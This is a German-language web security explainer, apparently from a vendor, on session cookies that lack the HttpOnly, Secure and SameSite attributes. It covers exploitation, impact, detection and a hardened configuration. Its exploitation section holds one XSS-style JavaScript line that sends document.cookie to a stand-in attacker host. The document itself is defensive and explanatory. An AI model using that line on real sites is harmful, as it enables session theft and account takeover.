Ungeschütztes Authentifizierungscookie

Ein Session-Cookie wiegt so schwer wie ein Passwort, wird aber bei jeder Anfrage automatisch mitgesendet. Wie gut dieser Wert geschützt ist, hängt an drei kurzen Attributen hinter dem Set-Cookie-Header. Im Folgenden lesen Sie, was jedes Attribut abdeckt, welcher Angriff offenbleibt, wenn eines fehlt, und warum alle drei nötig sind.

Was ist ein ungeschütztes Authentifizierungscookie?

Ein ungeschütztes Authentifizierungscookie ist ein Cookie, das die Sitzung eines Nutzers trägt, bei dem aber eines oder mehrere der schützenden Attribute fehlen. Jedes Attribut schließt einen anderen Weg, und keines lässt sich durch die beiden anderen ersetzen.

HttpOnly macht das Cookie für JavaScript in der Seite unsichtbar. Ohne dieses Attribut kann Skriptcode document.cookie auslesen, womit jede Cross-Site-Scripting-Schwachstelle unmittelbar zum Sitzungsdiebstahl wird. Secure verbietet dem Browser, das Cookie über eine unverschlüsselte Verbindung zu senden; fehlt es, genügt eine einzige Anfrage an eine http://-Adresse, um den Wert lesbar über das Netz zu schicken. SameSite bestimmt, ob das Cookie bei Anfragen mitgesendet wird, die von einer anderen Website ausgehen, und ist damit die Grundschicht gegen Cross-Site Request Forgery.

Vergleichen Sie es mit einem Tresor mit drei Schlössern: eines gegen den von innen kopierten Schlüssel, eines gegen das Abhören des Transports und eines gegen die Fernbedienung durch einen Fremden. Zwei Schlösser zu und eines offen bedeutet nicht zwei Drittel Sicherheit; es bedeutet, dass eine Tür offensteht.

Wie wird ein ungeschütztes Session-Cookie ausgenutzt?

Verwundbar:

HTTP/1.1 200 OK
Set-Cookie: sid=8f42c19ade7b3f5c; Path=/

Kein einziges schützendes Attribut. Dadurch werden drei verschiedene Angriffe möglich. Ohne HttpOnly genügt ein eingeschleustes Skript:

// Über eine XSS-Schwachstelle in der Seite gelandet
new Image().src = 'https://boesartig.example/x?c=' + document.cookie;

Ohne Secure geht das Cookie mit, sobald eine unverschlüsselte Anfrage an dieselbe Domain hinausgeht. Ein altes Lesezeichen, ein Bild mit einer http://-Adresse oder eine von Hand eingetippte Adresse genügt, und ein Angreifer im selben Netz liest den Wert unmittelbar mit. Und ohne SameSite sendet der Browser das Cookie auch bei einer Anfrage mit, die von der Seite eines Angreifers abgefeuert wird, womit CSRF-Angriffe auf zustandsändernde Endpunkte in Reichweite geraten.

Sicher:

HTTP/1.1 200 OK
Set-Cookie: __Host-sid=8f42c19ade7b3f5c; HttpOnly; Secure; SameSite=Strict; Path=/

res.cookie('__Host-sid', sitzungsId, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  path: '/',
  maxAge: 30 * 60 * 1000,
});

Alle drei Wege sind nun geschlossen. Eingeschleuster Skriptcode kann den Wert nicht lesen, der Browser weigert sich, das Cookie über HTTP zu senden, und Anfragen von einer fremden Seite tragen es nicht. Das Präfix __Host- fügt eine oft vergessene Zusicherung hinzu: Der Browser akzeptiert ein Cookie mit diesem Namen nur, wenn es Secure ist, kein Domain-Attribut trägt und auf Pfad / gesetzt ist. Damit kann eine kompromittierte Subdomain das Session-Cookie der Hauptdomain nicht überschreiben.

Welche Auswirkungen hat ein ungeschütztes Session-Cookie?

Der Befund wird üblicherweise als mittel bewertet, doch die tatsächliche Bedeutung hängt davon ab, welches Attribut fehlt und was sonst in der Anwendung vorgeht.

Fehlt HttpOnly, ändert sich das Ergebnis jeder Cross-Site-Scripting-Schwachstelle: Statt einer Skriptausführung innerhalb einer Sitzung liefert sie dem Angreifer ein Token, mit dem er von seinem eigenen Rechner aus, zu einem selbst gewählten Zeitpunkt, das Konto übernehmen kann. Fehlt Secure, genügt eine einzige unverschlüsselte Anfrage, um die Sitzung in einem öffentlichen Netz preiszugeben. Fehlt SameSite, steht die Tür für das Erzwingen von Vorgängen von einer fremden Seite aus offen.

Kennzeichnend für diesen Befund ist, dass die Lösung so gut wie nichts kostet. Es geht um drei Wörter in der Konfiguration Ihrer Sitzungsverwaltung. Genau dieses Verhältnis führt dazu, dass ihr Fehlen bei einem Audit schwer wiegt: eine Maßnahme ohne nennenswerte Nachteile, die schlicht nicht ergriffen wurde.

Wie spürt man ein ungeschütztes Session-Cookie auf?

Die Grundprüfung besteht darin, eine Anmeldeantwort abzurufen und die Set-Cookie-Header anzusehen. Das ist schnell erledigt, doch die Feinheiten liegen in den Details, die dabei oft übersprungen werden.

Ein Tester prüft, ob die Attribute auf allen Cookies stehen, die Authentifizierung tragen, und nicht nur auf dem bekanntesten. Anwendungen setzen häufig mehrere Cookies (eine Sitzung, ein CSRF-Token, eine Einstellung zur Zwei-Faktor-Authentifizierung), und der Schutz ist mitunter nur auf das erste angewandt. Ebenso wird geprüft, ob die Attribute bei der Erneuerung der Sitzung erhalten bleiben, ob ein zu weit gefasstes Domain-Attribut gesetzt ist und ob das Cookie beim Abmelden mit denselben Attributen entfernt wird. Auch der SameSite-Wert erhält Aufmerksamkeit: Lax ist zum Browserstandard geworden, deckt aber nicht alles ab. AssistSec bewertet diese Attribute im Zusammenhang mit der übrigen Anwendung, denn ein fehlendes HttpOnly wiegt erst dann wirklich schwer, wenn auch ein Einschleusungspunkt besteht, und genau diese Kombination macht ein Penetrationstest sichtbar.

Wie verhindert man ein ungeschütztes Session-Cookie?

• Setzen Sie HttpOnly, Secure und SameSite auf jedem Cookie, das Authentifizierung oder Autorisierung trägt.
• Verwenden Sie SameSite=Strict, wo es funktional möglich ist, und Lax, wenn Nutzer über externe Links hereinkommen müssen.
• Geben Sie Session-Cookies das Präfix __Host-, damit Subdomains sie nicht überschreiben können.
• Lassen Sie das Domain-Attribut weg, sofern Sie das Cookie nicht nachweislich auf mehreren Subdomains benötigen.
• Regeln Sie die Attribute zentral in der Sitzungskonfiguration statt pro Endpunkt, damit neue Routen sie automatisch erhalten.
• Kombinieren Sie Secure mit HSTS, damit ohnehin keine unverschlüsselte Verbindung zu Ihrer Domain zustande kommt.
• Entfernen Sie das Cookie beim Abmelden mit exakt denselben Attributen, mit denen es gesetzt wurde.
• Prüfen Sie nach jeder Änderung am Anmeldeablauf, ob die Attribute noch auf allen Cookies stehen.